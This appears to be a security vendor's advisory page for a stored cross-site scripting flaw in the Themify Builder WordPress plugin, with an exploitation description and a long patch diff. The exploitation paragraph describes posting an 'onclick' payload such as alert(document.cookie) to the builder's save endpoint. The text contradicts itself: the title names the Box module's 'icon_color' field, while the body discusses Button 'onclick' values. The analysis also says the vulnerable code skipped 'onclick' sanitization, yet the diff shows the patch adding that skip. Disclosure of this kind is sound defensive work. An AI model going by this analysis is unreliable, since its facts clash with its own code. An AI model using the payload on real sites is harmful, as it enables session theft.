Published : November 23, 2026

CVE-2026-125011: Themify Builder <= 7.8.5 Authenticated (Contributor+) Stored Cross-Site Scripting via Box Module 'icon_color' via 'data' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 7.8.5
Patched Version 7.8.6
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125011: The Themify Builder plugin for WordPress, versions up to and including 7.8.5, contains a stored cross-site scripting (XSS) vulnerability. The flaw resides in the handling of the ‘data’ parameter during builder data saving, specifically within the `save` method of `Themify_Builder_Data_Manager` located in `themify-builder/classes/class-builder-data-manager.php`. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript into the ‘onclick’ attribute of a Button module. The script is stored and later executed when a user views the affected page. CVSS score 6.4, CWE-79.

The root cause is insufficient input sanitization and output escaping. The `json_escape` method (lines 299-335 in the vulnerable version) applies `wp_kses_post` to string values but explicitly skipped the ‘onclick’ key (line 377: `elseif ( $kses_filter===true && $k !== ‘onclick’ && $k !== ‘onclick_trusted’ )`). This allowed event handler attributes to bypass sanitization. Furthermore, the `buttons` module’s `content_button` settings were not properly sanitized. The patch introduces `sanitize_button_items` (lines 402-435) which assigns unique IDs, drops event handler custom attributes, and validates the `onclick` field based on user capabilities. The `json_escape` method now excludes ‘onclick’ and ‘onclick_trusted’ from `wp_kses_post` only when the user has unfiltered HTML capability, and the overall save process now enforces `themify_builder_can_edit_custom_js` checks.

Exploitation occurs via the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `themify_builder_save` (or a similar builder save action). An attacker with Contributor+ access sends a POST request containing a `data` parameter that includes a Button module (`mod_name: ‘buttons’`) with a `content_button` array containing an `onclick` value such as `alert(document.cookie)`. Because the vulnerable version does not sanitize this field for users lacking `unfiltered_html` capability, the script is stored in post meta. The payload executes when an administrator or other user views the page containing the builder layout.

The patch fixes the issue by implementing capability checks and sanitization. The `save` method now verifies `themify_builder_can_edit_custom_js` before allowing modification of Custom JS. The `sanitize_button_items` function is called for the ‘buttons’ module’s `content_button` setting, which removes `onclick` and `onclick_trusted` unless the user has `unfiltered_html` capability (or the in-progress preserve flag is set). The `json_escape` method now passes `onclick` and `onclick_trusted` through only when the user cannot edit custom JS, effectively treating them as untrusted. Additionally, the patch updates the active builder to only expose `allow_custom_js` and `allow_button_script` flags instead of the raw `custom_js` value, preventing direct injection via that vector.

If exploited, this vulnerability allows an authenticated attacker with Contributor-level access to inject arbitrary JavaScript that executes in the context of any user viewing the affected page, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, authentication tokens), privilege escalation via administrative actions performed in the victim’s browser, and potentially full site compromise. The stored nature of the XSS means the script persists until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/themify-builder/classes/class-builder-data-manager.php
+++ b/themify-builder/classes/class-builder-data-manager.php
@@ -33,6 +33,9 @@
     /** Posts whose legacy layout is being repaired in this request. */
     private static $repairing = array();

+    /** Keep stored button scripts instead of treating this write as a new edit. */
+    private static $preserve_button_scripts = false;
+


     /**
@@ -229,9 +232,28 @@
             $custom_js = null;
         }
         $silent = ! empty( $save_options['silent'] );
+        $preserve_button_scripts = ! empty( $save_options['preserve_button_scripts'] );
+        if ( $preserve_button_scripts ) {
+            self::$preserve_button_scripts = true;
+        }
+        // A user who cannot store unfiltered HTML must not change, clear, or replace Custom JS.
+        if ( $custom_js !== null && ! themify_builder_can_edit_custom_js( $post_id ) ) {
+            $custom_js = null;
+        }
+        $update_custom_js = $custom_js !== null;
+        if ( $update_custom_js ) {
+            if ( ! is_string( $custom_js ) ) {
+                $custom_js = '';
+            } else {
+                $custom_js = themify_sanitize_builder_custom_js( $custom_js );
+            }
+        }
         try{
             $wpdb->query('START TRANSACTION');
             $result=self::update_builder_meta( $post_id, $builder_data, $action !== 'backend', false, ! $silent );
+            if ( $preserve_button_scripts ) {
+                self::$preserve_button_scripts = false;
+            }
             unset($builder_data);
             if(!empty($result['mid'])){
                 $isRevision=wp_is_post_revision($post_id);
@@ -259,15 +281,17 @@
                     }
                     do_action( 'themify_builder_custom_css_updated', $post_id,$action );
                 }
-                if ( $custom_js!==null ) {
-                    if(!empty($custom_js)){
-                        update_metadata( 'post', $post_id, 'tbp_custom_js', $custom_js);
+                if ( $update_custom_js ) {
+                    if ( $custom_js !== '' ) {
+                        update_metadata( 'post', $post_id, 'tbp_custom_js', $custom_js );
+                        update_metadata( 'post', $post_id, '_tbp_custom_js_trusted', '1' );
                         $result['custom_js'] = $custom_js;
+                    } else {
+                        delete_metadata( 'post', $post_id, 'tbp_custom_js' );
+                        delete_metadata( 'post', $post_id, '_tbp_custom_js_trusted' );
+                        $result['custom_js'] = '';
                     }
-                    else{
-                        delete_metadata( 'post', $post_id, 'tbp_custom_js');
-                    }
-                    do_action( 'themify_builder_custom_js_updated', $post_id,$action );
+                    do_action( 'themify_builder_custom_js_updated', $post_id, $action );
                 }
                 $wpdb->query('COMMIT');
                 if ( $isRevision === false && ! $silent ) {
@@ -286,12 +310,24 @@
         }
         catch(Throwable  $e){
             $result['mid']=false;
+            self::$preserve_button_scripts = false;
             $wpdb->query('ROLLBACK');
         }
         return $result;
     }

     /**
+     * Keys whose values are builder element ids (or references to them).
+     */
+    private static function is_element_identifier_key( $key ): bool {
+        return is_string( $key ) && (
+            $key === 'element_id'
+            || strpos( $key, 'unstick_when_el_row_id' ) === 0
+            || strpos( $key, 'unstick_when_el_mod_id' ) === 0
+        );
+    }
+
+    /**
      * Sanitize Builder data before saving
      *
      * @param $kses_filter bool Whether the data should be filtered through wp_kses for sanitization
@@ -299,6 +335,19 @@
     private static function json_escape(array &$arr, bool $kses_filter = false ):array{
         foreach($arr as $k=>&$v){
             if(is_string($v)){
+                if ( self::is_element_identifier_key( $k ) ) {
+                    $clean = Themify_Builder_Model::sanitize_element_id( $v );
+                    if ( $k === 'element_id' ) {
+                        $arr[$k] = $clean !== '' ? $clean : Themify_Builder_Model::generateID();
+                    }
+                    elseif ( $clean === '' ) {
+                        unset( $arr[$k] );
+                    }
+                    else {
+                        $arr[$k] = $clean;
+                    }
+                    continue;
+                }
                 if(trim($v)==='' && !is_numeric($k)){
                     unset($arr[$k]);
                 }
@@ -324,7 +373,7 @@
                         $arr[$k]=is_array($json)?self::json_escape($json, $kses_filter ): ( $kses_filter===true ? wp_kses_post( $v ) : $v );
                     }
                 }
-                elseif ( $kses_filter===true ) {
+                elseif ( $kses_filter===true && $k !== 'onclick' && $k !== 'onclick_trusted' ) {
                     $arr[$k] = wp_kses_post( $v );
                 }
             }
@@ -353,6 +402,15 @@
         if ( in_array( $mod_name, array( 'slider', 'gallery', 'testimonial-slider' ), true ) && isset( $settings['height_slider'] ) ) {
             $settings['height_slider'] = themify_sanitize_slider_height( $settings['height_slider'] );
         }
+        if ( $mod_name === 'buttons' && isset( $settings['content_button'] ) ) {
+            if ( is_string( $settings['content_button'] ) ) {
+                $decoded = json_decode( $settings['content_button'], true );
+                $settings['content_button'] = is_array( $decoded ) ? $decoded : array();
+            }
+            if ( is_array( $settings['content_button'] ) ) {
+                $settings['content_button'] = self::sanitize_button_items( $settings['content_button'], themify_builder_can_edit_custom_js() );
+            }
+        }
         if ( $mod_name === 'map' ) {
             if ( isset( $settings['b_width_map'] ) ) {
                 $settings['b_width_map'] = preg_replace( '/[^0-9.]/', '', (string) $settings['b_width_map'] );
@@ -377,6 +435,441 @@
     }

     /**
+     * Stable id for one button. Client input is reduced to a token.
+     */
+    private static function button_item_uid( $value ): string {
+        return Themify_Builder_Model::sanitize_element_id( is_string( $value ) ? $value : '' );
+    }
+
+    private static function new_button_uid(): string {
+        return 'b' . Themify_Builder_Model::generateID();
+    }
+
+    /**
+     * Fingerprint of a button's saved settings, excluding its script and id.
+     */
+    private static function button_item_fingerprint( array $item, bool $include_label ): string {
+        $copy = $item;
+        unset( $copy['onclick'], $copy['onclick_trusted'], $copy['_onclick_keep'], $copy['_event_attrs_keep'], $copy['btn_uid'] );
+        if ( isset( $copy['custom_attr_name'] ) && themify_is_event_handler_attr( $copy['custom_attr_name'] ) ) {
+            unset( $copy['custom_attr_name'], $copy['custom_attr_value'] );
+        }
+        if ( isset( $copy['custom_attrs'] ) ) {
+            $attrs = is_string( $copy['custom_attrs'] ) ? json_decode( $copy['custom_attrs'], true ) : $copy['custom_attrs'];
+            if ( is_array( $attrs ) ) {
+                $attrs = array_values( array_filter( $attrs, function( $attr ) {
+                    return is_array( $attr ) && ! themify_is_event_handler_attr( isset( $attr['name'] ) ? $attr['name'] : '' );
+                } ) );
+                if ( $attrs === array() ) {
+                    unset( $copy['custom_attrs'] );
+                } else {
+                    $copy['custom_attrs'] = $attrs;
+                }
+            }
+        }
+        if ( ! $include_label ) {
+            unset( $copy['label'] );
+        }
+        return md5( self::button_signature_piece( $copy ) );
+    }
+
+    private static function button_signature_piece( $value ): string {
+        if ( is_array( $value ) ) {
+            if ( $value === array() ) {
+                return '';
+            }
+            $is_list = true;
+            $expected = 0;
+            foreach ( $value as $key => $unused ) {
+                if ( $key !== $expected ) {
+                    $is_list = false;
+                    break;
+                }
+                $expected++;
+            }
+            if ( $is_list ) {
+                $parts = array();
+                foreach ( $value as $child ) {
+                    $parts[] = self::button_signature_piece( $child );
+                }
+                return '[' . implode( ',', $parts ) . ']';
+            }
+            ksort( $value );
+            $parts = array();
+            foreach ( $value as $key => $child ) {
+                $piece = self::button_signature_piece( $child );
+                if ( $piece === '' ) {
+                    continue;
+                }
+                $parts[] = $key . ':' . $piece;
+            }
+            return $parts === array() ? '' : '{' . implode( ',', $parts ) . '}';
+        }
+        if ( $value === null || $value === false || $value === '' ) {
+            return '';
+        }
+        if ( $value === true ) {
+            return '1';
+        }
+        return (string) $value;
+    }
+
+    /** Legacy event handlers already stored on this button. */
+    private static function saved_button_event_attrs( array $item ): array {
+        $attrs = isset( $item['custom_attrs'] ) ? $item['custom_attrs'] : array();
+        if ( is_string( $attrs ) ) {
+            $attrs = json_decode( $attrs, true );
+        }
+        if ( ! is_array( $attrs ) ) {
+            $attrs = array();
+        }
+        if ( isset( $item['custom_attr_name'] ) ) {
+            $attrs[] = array( 'name' => $item['custom_attr_name'], 'value' => isset( $item['custom_attr_value'] ) ? $item['custom_attr_value'] : '' );
+        }
+        $events = array();
+        foreach ( $attrs as $attr ) {
+            if ( ! is_array( $attr ) || ! isset( $attr['name'] ) || ! is_string( $attr['name'] ) || ! themify_is_event_handler_attr( $attr['name'] ) ) {
+                continue;
+            }
+            $name = trim( $attr['name'] );
+            if ( preg_match( '/^[a-zA-Z_:][-a-zA-Z0-9_:.]*$/', $name ) && isset( $attr['value'] ) && is_string( $attr['value'] ) ) {
+                $events[ strtolower( $name ) ] = array( 'name' => $name, 'value' => $attr['value'] );
+            }
+        }
+        return array_values( $events );
+    }
+
+    private static function button_script_from_item( array $item ): array {
+        return array(
+            'onclick' => isset( $item['onclick'] ) && is_string( $item['onclick'] ) ? $item['onclick'] : '',
+            'onclick_trusted' => isset( $item['onclick_trusted'] ) && (string) $item['onclick_trusted'] === '1' ? '1' : '',
+            'uid' => self::button_item_uid( isset( $item['btn_uid'] ) ? $item['btn_uid'] : '' ),
+            'event_attrs' => self::saved_button_event_attrs( $item ),
+        );
+    }
+
+    /**
+     * Remember each saved button and the settings that identify it.
+     */
+    private static function collect_button_scripts( $data, array &$found ): void {
+        if ( ! is_array( $data ) ) {
+            return;
+        }
+        if ( isset( $data['mod_name'], $data['element_id'], $data['mod_settings']['content_button'] ) && $data['mod_name'] === 'buttons' ) {
+            $button_items = $data['mod_settings']['content_button'];
+            if ( is_string( $button_items ) ) {
+                $button_items = json_decode( $button_items, true );
+            }
+            if ( ! is_array( $button_items ) ) {
+                $button_items = array();
+            }
+            $items = array();
+            foreach ( $button_items as $item ) {
+                if ( ! is_array( $item ) ) {
+                    continue;
+                }
+                $record = self::button_script_from_item( $item );
+                $record['fingerprint'] = self::button_item_fingerprint( $item, true );
+                $record['body'] = self::button_item_fingerprint( $item, false );
+                $items[] = $record;
+            }
+            $found[ (string) $data['element_id'] ] = array(
+                'items' => $items,
+            );
+        }
+        foreach ( $data as $child ) {
+            if ( is_array( $child ) ) {
+                self::collect_button_scripts( $child, $found );
+            }
+        }
+    }
+
+    private static function claim_unique_button( array $previous, array $submitted_values, string $field, array &$claimed_submitted, array &$claimed_stored, array $submitted_uids ): void {
+        $count = array();
+        $stored_index = array();
+        foreach ( $previous as $index => $record ) {
+            $key = $record[ $field ];
+            if ( ! isset( $count[ $key ] ) ) {
+                $count[ $key ] = 0;
+            }
+            $count[ $key ]++;
+            $stored_index[ $key ] = $index;
+        }
+        foreach ( $submitted_values as $index => $key ) {
+            if ( isset( $claimed_submitted[ $index ] ) || ! isset( $count[ $key ] ) || $count[ $key ] !== 1 ) {
+                continue;
+            }
+            $match = $stored_index[ $key ];
+            if ( isset( $claimed_stored[ $match ] ) ) {
+                continue;
+            }
+            $stored_uid = $previous[ $match ]['uid'];
+            $uid = isset( $submitted_uids[ $index ] ) ? $submitted_uids[ $index ] : '';
+            if ( $stored_uid !== '' && $uid !== '' && $uid !== $stored_uid ) {
+                continue;
+            }
+            $claimed_submitted[ $index ] = $match;
+            $claimed_stored[ $match ] = true;
+        }
+    }
+
+    /**
+     * A saved id keeps its script when that button's settings change.
+     * The id is not followed when the original settings still exist on another button.
+     */
+    private static function claim_button_uids( array $previous, array $submitted_uids, array $exact, array &$claimed_submitted, array &$claimed_stored ): void {
+        $indexes_by_uid = array();
+        foreach ( $submitted_uids as $index => $uid ) {
+            if ( $uid === '' ) {
+                continue;
+            }
+            if ( ! isset( $indexes_by_uid[ $uid ] ) ) {
+                $indexes_by_uid[ $uid ] = array();
+            }
+            $indexes_by_uid[ $uid ][] = $index;
+        }
+        foreach ( $previous as $stored_index => $record ) {
+            if ( $record['uid'] === '' || isset( $claimed_stored[ $stored_index ] ) || ! isset( $indexes_by_uid[ $record['uid'] ] ) ) {
+                continue;
+            }
+            $available = array();
+            foreach ( $indexes_by_uid[ $record['uid'] ] as $index ) {
+                if ( ! isset( $claimed_submitted[ $index ] ) ) {
+                    $available[] = $index;
+                }
+            }
+            if ( $available === array() ) {
+                continue;
+            }
+            foreach ( $exact as $index => $fingerprint ) {
+                if ( $fingerprint !== $record['fingerprint'] ) {
+                    continue;
+                }
+                $other_uid = isset( $submitted_uids[ $index ] ) ? $submitted_uids[ $index ] : '';
+                if ( $other_uid !== $record['uid'] ) {
+                    continue 2;
+                }
+            }
+            $chosen = null;
+            if ( count( $available ) === 1 ) {
+                $chosen = $available[0];
+            } else {
+                $same_settings = array();
+                foreach ( $available as $index ) {
+                    if ( isset( $exact[ $index ] ) && $exact[ $index ] === $record['fingerprint'] ) {
+                        $same_settings[] = $index;
+                    }
+                }
+                if ( $same_settings !== array() ) {
+                    $chosen = $same_settings[0];
+                }
+            }
+            if ( $chosen === null ) {
+                continue;
+            }
+            $claimed_submitted[ $chosen ] = $stored_index;
+            $claimed_stored[ $stored_index ] = true;
+        }
+    }
+
+    /**
+     * Put a stored script back on the same button.
+     * A button that already has an id keeps its script when its settings change.
+     */
+    private static function restore_button_scripts( array &$data, array $stored ): void {
+        if ( isset( $data['mod_name'], $data['element_id'], $data['mod_settings']['content_button'] ) && $data['mod_name'] === 'buttons' ) {
+            if ( is_string( $data['mod_settings']['content_button'] ) ) {
+                $decoded_buttons = json_decode( $data['mod_settings']['content_button'], true );
+                $data['mod_settings']['content_button'] = is_array( $decoded_buttons ) ? $decoded_buttons : array();
+            }
+            if ( ! is_array( $data['mod_settings']['content_button'] ) ) {
+                $data['mod_settings']['content_button'] = array();
+            }
+            $previous = isset( $stored[ (string) $data['element_id'] ]['items'] ) ? $stored[ (string) $data['element_id'] ]['items'] : array();
+            $by_uid = array();
+            foreach ( $previous as $index => $record ) {
+                if ( $record['uid'] !== '' && ! isset( $by_uid[ $record['uid'] ] ) ) {
+                    $by_uid[ $record['uid'] ] = $index;
+                }
+            }
+            $exact = array();
+            $body = array();
+            $submitted_uids = array();
+            foreach ( $data['mod_settings']['content_button'] as $index => $item ) {
+                if ( ! is_array( $item ) ) {
+                    continue;
+                }
+                $submitted_uids[ $index ] = self::button_item_uid( isset( $item['btn_uid'] ) ? $item['btn_uid'] : '' );
+                $exact[ $index ] = self::button_item_fingerprint( $item, true );
+                $body[ $index ] = self::button_item_fingerprint( $item, false );
+            }
+            $claimed_stored = array();
+            $claimed_submitted = array();
+            self::claim_button_uids( $previous, $submitted_uids, $exact, $claimed_submitted, $claimed_stored );
+            self::claim_unique_button( $previous, $exact, 'fingerprint', $claimed_submitted, $claimed_stored, $submitted_uids );
+            $unmatched_body = array();
+            foreach ( $body as $index => $key ) {
+                if ( ! isset( $claimed_submitted[ $index ] ) ) {
+                    $unmatched_body[ $index ] = $key;
+                }
+            }
+            $body_matches = array();
+            $body_claimed_stored = array();
+            self::claim_unique_button( $previous, $unmatched_body, 'body', $body_matches, $body_claimed_stored, $submitted_uids );
+            foreach ( $body_matches as $index => $stored_index ) {
+                if ( isset( $claimed_stored[ $stored_index ] ) ) {
+                    continue;
+                }
+                $claimed_submitted[ $index ] = $stored_index;
+                $claimed_stored[ $stored_index ] = true;
+            }
+            $used_new = array();
+            foreach ( $data['mod_settings']['content_button'] as $index => &$item ) {
+                if ( ! is_array( $item ) ) {
+                    continue;
+                }
+                unset( $item['onclick'], $item['onclick_trusted'], $item['_onclick_keep'], $item['_event_attrs_keep'] );
+                if ( isset( $item['custom_attr_name'] ) && themify_is_event_handler_attr( $item['custom_attr_name'] ) ) {
+                    unset( $item['custom_attr_name'], $item['custom_attr_value'] );
+                }
+                if ( isset( $item['custom_attrs'] ) ) {
+                    $incoming = is_string( $item['custom_attrs'] ) ? json_decode( $item['custom_attrs'], true ) : $item['custom_attrs'];
+                    if ( is_array( $incoming ) ) {
+                        $item['custom_attrs'] = array_values( array_filter( $incoming, function( $attr ) {
+                            return is_array( $attr ) && ! themify_is_event_handler_attr( isset( $attr['name'] ) ? $attr['name'] : '' );
+                        } ) );
+                    }
+                }
+                if ( ! isset( $claimed_submitted[ $index ] ) ) {
+                    $uid = isset( $submitted_uids[ $index ] ) ? $submitted_uids[ $index ] : '';
+                    if ( $uid === '' || isset( $by_uid[ $uid ] ) || isset( $used_new[ $uid ] ) ) {
+                        do {
+                            $uid = self::new_button_uid();
+                        } while ( isset( $by_uid[ $uid ] ) || isset( $used_new[ $uid ] ) );
+                    }
+                    $used_new[ $uid ] = true;
+                    $item['btn_uid'] = $uid;
+                    continue;
+                }
+                $match = $previous[ $claimed_submitted[ $index ] ];
+                $item['_onclick_keep'] = '1';
+                if ( ! empty( $match['event_attrs'] ) ) {
+                    $current_attrs = isset( $item['custom_attrs'] ) && is_array( $item['custom_attrs'] ) ? $item['custom_attrs'] : array();
+                    $item['custom_attrs'] = array_merge( $current_attrs, $match['event_attrs'] );
+                    $item['_event_attrs_keep'] = '1';
+                }
+                $item['btn_uid'] = $match['uid'] !== '' ? $match['uid'] : self::new_button_uid();
+                if ( $match['onclick'] !== '' ) {
+                    $item['onclick'] = $match['onclick'];
+                    if ( $match['onclick_trusted'] === '1' ) {
+                        $item['onclick_trusted'] = '1';
+                    }
+                }
+            }
+            unset( $item );
+        }
+        foreach ( $data as &$child ) {
+            if ( is_array( $child ) ) {
+                self::restore_button_scripts( $child, $stored );
+            }
+        }
+        unset( $child );
+    }
+
+    /**
+     * Give every button one id. A repeated id belongs to the first button only.
+     */
+    private static function assign_button_uids( array &$items ): void {
+        $used = array();
+        foreach ( $items as $i => $item ) {
+            if ( ! is_array( $item ) ) {
+                continue;
+            }
+            $uid = self::button_item_uid( isset( $items[ $i ]['btn_uid'] ) ? $items[ $i ]['btn_uid'] : '' );
+            if ( $uid === '' || isset( $used[ $uid ] ) ) {
+                do {
+                    $uid = self::new_button_uid();
+                } while ( isset( $used[ $uid ] ) );
+            }
+            $used[ $uid ] = true;
+            $items[ $i ]['btn_uid'] = $uid;
+        }
+    }
+
+    /**
+     * Drop event-handler custom attributes. A submitted trust flag is never accepted on its own.
+     */
+    private static function sanitize_button_items( array $items, bool $allow_script ): array {
+        self::assign_button_uids( $items );
+        foreach ( $items as $i => $item ) {
+            if ( ! is_array( $item ) ) {
+                continue;
+            }
+            $keep_script = ! empty( $item['_onclick_keep'] );
+            $keep_events = ! empty( $item['_event_attrs_keep'] );
+            unset( $items[ $i ]['_onclick_keep'], $items[ $i ]['_event_attrs_keep'] );
+            if ( self::$preserve_button_scripts ) {
+                if ( ! isset( $item['onclick'] ) || ! is_string( $item['onclick'] ) || $item['onclick'] === '' ) {
+                    unset( $items[ $i ]['onclick'], $items[ $i ]['onclick_trusted'] );
+                } elseif ( ! isset( $item['onclick_trusted'] ) || (string) $item['onclick_trusted'] !== '1' ) {
+                    unset( $items[ $i ]['onclick_trusted'] );
+                } else {
+                    $items[ $i ]['onclick_trusted'] = '1';
+                }
+            } elseif ( $allow_script ) {
+                if ( isset( $item['onclick'] ) && is_string( $item['onclick'] ) && $item['onclick'] !== '' ) {
+                    $items[ $i ]['onclick_trusted'] = '1';
+                } else {
+                    unset( $items[ $i ]['onclick'], $items[ $i ]['onclick_trusted'] );
+                }
+            } elseif ( ! $keep_script ) {
+                unset( $items[ $i ]['onclick'], $items[ $i ]['onclick_trusted'] );
+            }
+            if ( isset( $item['custom_attr_name'] ) && self::is_disallowed_button_attr( $item['custom_attr_name'] ) && ! ( $allow_script || $keep_events || self::$preserve_button_scripts ) ) {
+                unset( $items[ $i ]['custom_attr_name'], $items[ $i ]['custom_attr_value'] );
+            }
+            if ( ! isset( $item['custom_attrs'] ) ) {
+                continue;
+            }
+            $attrs = $item['custom_attrs'];
+            $encoded = false;
+            if ( is_string( $attrs ) ) {
+                $decoded = json_decode( $attrs, true );
+                if ( ! is_array( $decoded ) ) {
+                    continue;
+                }
+                $attrs = $decoded;
+                $encoded = true;
+            }
+            if ( ! is_array( $attrs ) ) {
+                unset( $items[ $i ]['custom_attrs'] );
+                continue;
+            }
+            $clean = array();
+            foreach ( $attrs as $attr ) {
+                if ( ! is_array( $attr ) || ( self::is_disallowed_button_attr( isset( $attr['name'] ) ? $attr['name'] : '' ) && ! ( $allow_script || $keep_events || self::$preserve_button_scripts ) ) ) {
+                    continue;
+                }
+                $clean[] = $attr;
+            }
+            if ( $clean === array() ) {
+                unset( $items[ $i ]['custom_attrs'] );
+            } else {
+                $items[ $i ]['custom_attrs'] = $encoded ? wp_json_encode( $clean ) : $clean;
+            }
+        }
+        return $items;
+    }
+
+    /**
+     * Event-handler names are reserved for the dedicated onclick field.
+     */
+    private static function is_disallowed_button_attr( $name ): bool {
+        $name = preg_replace( '/[^a-zA-Z0-9_:-.]/', '', preg_replace( '/s+/', '-', trim( (string) $name ) ) );
+        return $name === '' || themify_is_event_handler_attr( $name );
+    }
+
+    /**
      * Sanitize table_content without json_escape() removing empty strings at numeric indices.
      */
     private static function json_escape_table_content(array $data, bool $kses_filter ):array {
@@ -579,9 +1072,23 @@
      * Save the builder in post meta
      */
     public static function update_builder_meta(int $post_id,$data,bool $static_text=true,bool $transaction=true,bool $fire_meta_hooks=true, ?bool $kses_filter=null):array{
+        $explicit_keep = ( $kses_filter === false );
         if ( $kses_filter === null ) {
             $kses_filter = ! current_user_can( 'unfiltered_html' );
         }
+        $previous_preserve = self::$preserve_button_scripts;
+        if ( $explicit_keep ) {
+            self::$preserve_button_scripts = true;
+        }
+        if ( is_array( $data ) && ! self::$preserve_button_scripts && ! themify_builder_can_edit_custom_js( $post_id ) ) {
+            $stored_scripts = array();
+            $raw = get_post_meta( $post_id, self::META_KEY, true );
+            $old = is_array( $raw ) ? $raw : json_decode( (string) $raw, true );
+            if ( is_array( $old ) ) {
+                self::collect_button_scripts( $old, $stored_scripts );
+            }
+            self::restore_button_scripts( $data, $stored_scripts );
+        }
         if(is_array($data)){
             $builder=self::json_escape( $data, $kses_filter );
         }
@@ -596,6 +1103,7 @@
         else{
             $builder=array();
         }
+        self::$preserve_button_scripts = $previous_preserve;
         unset($data);

         if(!empty($builder) ){
--- a/themify-builder/classes/class-themify-builder-active.php
+++ b/themify-builder/classes/class-themify-builder-active.php
@@ -19,8 +19,8 @@
                 themify_set_headers(array(
                     'X-FRAME-OPTIONS' => 'SAMEORIGIN',
                     'CONTENT-SECURITY-POLICY' => array(
-                        'img-src' => "https://themify.org https://placehold.co 'unsafe-inline' blob:",
-                        'default-src' => "https://placehold.co 'unsafe-inline' blob:"
+                        'img-src' => "https://themify.org 'unsafe-inline' blob:",
+                        'default-src' => "'unsafe-inline' blob:"
                     )
                 ));
             }
@@ -215,7 +215,7 @@
                 'layouts' => Themify_Builder_Model::get_layouts(),
                 'blocks' => 'https://themify.org/public-api/predesigned-rows/',
                 'custom_css' => get_post_meta($id, 'tbp_custom_css', true),
-                'custom_js' => get_post_meta($id, 'tbp_custom_js', true),
+                'allow_custom_js' => themify_builder_can_edit_custom_js( $id ) ? 1 : 0,
                 'post_title' => get_the_title($id),
                 'cf_api_url' => Themify_Custom_Fonts::$api_url,
                 'safe' => themify_get_web_safe_font_list(),
@@ -227,7 +227,8 @@
                 'memory' => (int) (wp_convert_hr_to_bytes(WP_MEMORY_LIMIT) * MB_IN_BYTES),
                 'imgphp'=>Themify_Builder_Model::is_img_php_disabled(),
                 'admin_url'=>rtrim( get_admin_url(), '/' ),
-                'ext'=>['video'=>$video,'audio'=>$audio,'image'=>$image]
+                'ext'=>['video'=>$video,'audio'=>$audio,'image'=>$image],
+                'allow_button_script' => themify_builder_can_edit_custom_js( $id ) ? 1 : 0,
             ], is_admin() ? 'admin' : 'visual' );
             unset($image,$video,$audio);
             $jsonFiles=Themify_Builder_Component_Module::get_styles_json();
@@ -246,6 +247,9 @@
             if(empty($vars['custom_css'])){
                 unset($vars['custom_css']);
             }
+            if ( ! empty( $vars['allow_custom_js'] ) ) {
+                $vars['custom_js'] = get_post_meta( $id, 'tbp_custom_js', true );
+            }
             if(empty($vars['custom_js'])){
                 unset($vars['custom_js']);
             }
--- a/themify-builder/classes/class-themify-builder-admin.php
+++ b/themify-builder/classes/class-themify-builder-admin.php
@@ -142,7 +142,7 @@
      * @hooked to "is_protected_meta"
      */
     public static function is_protected_meta(bool $protected, $meta_key, $meta_type):bool {
-        if ($meta_key === 'tbp_custom_css' || $meta_key === 'tbp_custom_js') {
+        if ($meta_key === 'tbp_custom_css' || $meta_key === 'tbp_custom_js' || $meta_key === '_tbp_custom_js_trusted') {
             $protected = true;
         }
         return $protected;
--- a/themify-builder/classes/class-themify-builder-import-export.php
+++ b/themify-builder/classes/class-themify-builder-import-export.php
@@ -381,7 +381,7 @@
                     if (!empty($custom_css)) {
                         $response['custom_css'] = $custom_css;
                     }
-                    if (!empty($custom_js)) {
+                    if (!empty($custom_js) && themify_builder_can_edit_custom_js( (int) $_POST['bid'] )) {
                         $response['custom_js'] = $custom_js;
                     }
                     if ( ! empty( $result ) && class_exists( 'TF_SV_Framework', false ) ) {
--- a/themify-builder/classes/class-themify-builder-library-item.php
+++ b/themify-builder/classes/class-themify-builder-library-item.php
@@ -216,7 +216,7 @@
             if (!empty($custom_css)) {
                 $response['custom_css'] = $custom_css;
             }
-            $custom_js = get_post_meta($id, 'tbp_custom_js', true);
+            $custom_js = themify_builder_can_edit_custom_js( $id ) ? get_post_meta($id, 'tbp_custom_js', true) : '';
             if (!empty($custom_js)) {
                 $response['custom_js'] = $custom_js;
             }
--- a/themify-builder/classes/class-themify-builder-model.php
+++ b/themify-builder/classes/class-themify-builder-model.php
@@ -836,9 +836,21 @@
     }


+    /**
+     * Element ids are printed into HTML attributes. Allow only a token charset.
+     */
+    public static function sanitize_element_id( $id ): string {
+        if ( ! is_string( $id ) ) {
+            return '';
+        }
+        $id = preg_replace( '/[^A-Za-z0-9_-]/', '', $id );
+        return is_string( $id ) ? $id : '';
+    }
+
     public static function checkUniqId($id):string{
         static $ids=array();
-        if($id!==null && !isset($ids[$id])){
+        $id = self::sanitize_element_id( is_string( $id ) ? $id : '' );
+        if($id!=='' && !isset($ids[$id])){
             $ids[$id] = true;
             return $id;
         }
@@ -871,7 +883,8 @@
             }
             $hash .= $h;
         }
-        return $hash;
+        $hash = self::sanitize_element_id( $hash );
+        return $hash !== '' ? $hash : 'id' . rand( 1000, 999999 );
     }


--- a/themify-builder/classes/class-themify-builder-revisions.php
+++ b/themify-builder/classes/class-themify-builder-revisions.php
@@ -187,7 +187,7 @@
             wp_send_json(array(
                 'builder_data' => ThemifyBuilder_Data_Manager::get_data($rev_id),
                 'custom_css' => get_post_meta($rev_id, 'tbp_custom_css', true),
-                'custom_js' => get_post_meta($rev_id, 'tbp_custom_js', true)
+                'custom_js' => themify_builder_can_edit_custom_js( $revision->post_parent ) ? get_post_meta($rev_id, 'tbp_custom_js', true) : ''
             ));
         }
         wp_send_json_error(esc_html__('Revision post is not found or invalid ID', 'themify'));
@@ -232,12 +232,16 @@
                     if (empty($builder_data)) {
                         $builder_data = array();
                     }
-                    ThemifyBuilder_Data_Manager::save_data($builder_data, $rev_id, $action);
+                    ThemifyBuilder_Data_Manager::save_data($builder_data, $rev_id, $action, null, null, array( 'preserve_button_scripts' => true ));
                     if ( ! empty( $custom_css ) ) {
                         update_metadata( 'post', $rev_id, 'tbp_custom_css', $custom_css);
                     }
-                    if ( ! empty( $custom_js ) ) {
-                        update_metadata( 'post', $rev_id, 'tbp_custom_js', $custom_js);
